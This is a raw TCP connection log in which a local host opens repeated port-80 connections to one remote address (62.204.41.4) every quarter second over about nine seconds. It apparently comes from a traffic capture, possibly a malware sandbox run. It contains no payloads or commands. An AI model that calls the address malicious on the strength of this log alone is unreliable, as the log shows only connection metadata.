Feb 7, 2023 23:08:17.071266890 CET	80	49973	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:17.071396112 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:17.631578922 CET	49974	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:17.692794085 CET	80	49974	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:17.696517944 CET	80	49974	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:17.696711063 CET	49974	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.283819914 CET	49974	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.284688950 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.345896006 CET	80	49974	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.346163988 CET	49974	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.346853971 CET	80	49975	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.347042084 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.409780025 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.471718073 CET	80	49975	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.474836111 CET	80	49975	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.475049019 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.615140915 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.615912914 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.676908016 CET	80	49976	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.676948071 CET	80	49975	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.677128077 CET	49975	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.677395105 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.678575993 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.739294052 CET	80	49976	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.742882013 CET	80	49976	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.743047953 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.848577976 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.849467039 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.911092997 CET	80	49976	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.911150932 CET	80	49977	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.911231041 CET	49976	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.911350012 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.914834976 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:18.980109930 CET	80	49977	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.980144978 CET	80	49977	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:18.980262995 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.086915016 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.087821960 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.148412943 CET	80	49978	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.148477077 CET	80	49977	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.148674011 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.148677111 CET	49977	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.152479887 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.213010073 CET	80	49978	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.216840982 CET	80	49978	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.217225075 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.338982105 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.346091032 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.399626017 CET	80	49978	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.401252031 CET	49978	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.406527996 CET	80	49979	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.409945965 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.443583965 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.504205942 CET	80	49979	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.507155895 CET	80	49979	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.508137941 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.617100000 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.617939949 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.677580118 CET	80	49979	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.678217888 CET	80	49980	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.678442001 CET	49979	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.678473949 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.678958893 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.739464045 CET	80	49980	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.741760015 CET	80	49980	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.741971016 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.859077930 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.859850883 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.919841051 CET	80	49980	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.920589924 CET	80	49981	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.920655966 CET	49980	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.920716047 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.921142101 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:19.984400034 CET	80	49981	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.985157013 CET	80	49981	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:19.985466957 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.100755930 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.102569103 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.161823988 CET	80	49981	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.162026882 CET	49981	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.162247896 CET	80	49982	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.162370920 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.169197083 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.228905916 CET	80	49982	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.232326984 CET	80	49982	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.232465982 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.349945068 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.351242065 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.409857035 CET	80	49982	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.410078049 CET	49982	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.410871983 CET	80	49983	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.411015034 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.411479950 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.470957041 CET	80	49983	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.473516941 CET	80	49983	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.473782063 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.588587046 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.589368105 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.648488998 CET	80	49983	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.648689032 CET	49983	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.650949955 CET	80	49984	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.651117086 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.651521921 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.713186026 CET	80	49984	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.715797901 CET	80	49984	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.715962887 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.848812103 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.850444078 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.910223961 CET	80	49984	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.910571098 CET	49984	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.911622047 CET	80	49985	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.911798954 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.913009882 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:20.974287987 CET	80	49985	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.976932049 CET	80	49985	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:20.977148056 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.084633112 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.086189032 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.146130085 CET	80	49985	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.146353006 CET	49985	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.146359921 CET	80	49986	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.146464109 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.156436920 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.216814041 CET	80	49986	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.219510078 CET	80	49986	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.219701052 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.340594053 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.342370987 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.401284933 CET	80	49986	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.401532888 CET	49986	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.403167009 CET	80	49987	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.403336048 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.404062986 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.464787960 CET	80	49987	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.467391968 CET	80	49987	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.467699051 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.584232092 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.586904049 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.645273924 CET	80	49987	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.645432949 CET	49987	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.649570942 CET	80	49988	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.649800062 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.653563976 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.716815948 CET	80	49988	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.719542027 CET	80	49988	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.719912052 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.832967043 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.833960056 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.895683050 CET	80	49988	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.895809889 CET	49988	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.896500111 CET	80	49989	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.896631002 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.900932074 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:21.964370966 CET	80	49989	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.967075109 CET	80	49989	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:21.967149019 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.089356899 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.090498924 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.152271032 CET	80	49989	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.152378082 CET	49989	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.152903080 CET	80	49990	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.153007984 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.153608084 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.216128111 CET	80	49990	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.219158888 CET	80	49990	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.219268084 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.333682060 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.334497929 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.394890070 CET	80	49991	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.395047903 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.396162987 CET	80	49990	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.396262884 CET	49990	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.396521091 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.456644058 CET	80	49991	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.459316969 CET	80	49991	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.459448099 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.577491999 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.579370975 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.637902021 CET	80	49991	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.638019085 CET	49991	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.640739918 CET	80	49992	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.641016006 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.643208981 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.704687119 CET	80	49992	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.707648039 CET	80	49992	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.707748890 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.819037914 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.825365067 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.880634069 CET	80	49992	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.880750895 CET	49992	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.887948036 CET	80	49993	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.888067007 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.893784046 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:22.956265926 CET	80	49993	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.958950043 CET	80	49993	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:22.959099054 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.068829060 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.069597006 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.132172108 CET	80	49993	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.132215023 CET	80	49994	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.132263899 CET	49993	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.132391930 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.133002996 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.195319891 CET	80	49994	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.197545052 CET	80	49994	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.200360060 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.319581985 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.320502996 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.382011890 CET	80	49995	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.382050037 CET	80	49994	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.382247925 CET	49994	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.383016109 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.383016109 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.444550037 CET	80	49995	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.447137117 CET	80	49995	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.447310925 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.558259964 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.560333967 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.619641066 CET	80	49996	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.619795084 CET	80	49995	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.620058060 CET	49995	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.620454073 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.620454073 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.679662943 CET	80	49996	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.682626009 CET	80	49996	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.684700966 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.812428951 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.814379930 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.872061968 CET	80	49996	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.872468948 CET	49996	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.876904011 CET	80	49997	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.880357027 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.882400990 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:23.944866896 CET	80	49997	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.947484970 CET	80	49997	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:23.947676897 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.053880930 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.055599928 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.115844965 CET	80	49998	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.116019964 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.116223097 CET	80	49997	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.116341114 CET	49997	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.116920948 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.177293062 CET	80	49998	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.179281950 CET	80	49998	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.180263996 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.287214994 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.288548946 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.347826958 CET	80	49998	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.347984076 CET	49998	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.349950075 CET	80	49999	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.350095034 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.351918936 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.413683891 CET	80	49999	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.415993929 CET	80	49999	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.416131973 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.520935059 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.522038937 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.582581043 CET	80	50000	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.582628012 CET	80	49999	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.582776070 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.582823038 CET	49999	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.592011929 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.654197931 CET	80	50000	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.655093908 CET	80	50000	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.655314922 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.771344900 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.772173882 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.831967115 CET	80	50000	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.832775116 CET	50000	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.833612919 CET	80	50001	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.833755970 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.834270000 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:24.895754099 CET	80	50001	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.897998095 CET	80	50001	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:24.898129940 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.005021095 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.007437944 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.066792011 CET	80	50001	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.066898108 CET	50001	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.067958117 CET	80	50002	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.068073034 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.080418110 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.141293049 CET	80	50002	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.143611908 CET	80	50002	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.143726110 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.257085085 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.258968115 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.317739964 CET	80	50002	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.317910910 CET	50002	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.320466042 CET	80	50003	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.320660114 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.325124979 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.386574030 CET	80	50003	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.388860941 CET	80	50003	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.389059067 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.507882118 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.508667946 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.569253922 CET	80	50004	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.569297075 CET	80	50003	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.569351912 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.569413900 CET	50003	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.569822073 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.630358934 CET	80	50004	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.633472919 CET	80	50004	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.633574963 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.742245913 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.743010044 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.802283049 CET	80	50005	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.802480936 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.802819014 CET	80	50004	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.802916050 CET	50004	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.803186893 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.862545013 CET	80	50005	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.864747047 CET	80	50005	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:25.864907980 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.992317915 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:25.995120049 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.051631927 CET	80	50005	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.051764011 CET	50005	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.056751013 CET	80	50006	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.056876898 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.061961889 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.124146938 CET	80	50006	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.126768112 CET	80	50006	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.126888037 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.242575884 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.243563890 CET	50007	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.303172112 CET	80	50007	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.304203033 CET	80	50006	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.304424047 CET	50006	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.304450035 CET	50007	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.308602095 CET	50007	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.369834900 CET	80	50007	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.372323036 CET	80	50007	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.372518063 CET	50007	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.491497040 CET	50007	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.492516041 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.551266909 CET	80	50007	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.551405907 CET	50007	80	192.168.2.7	62.204.41.4
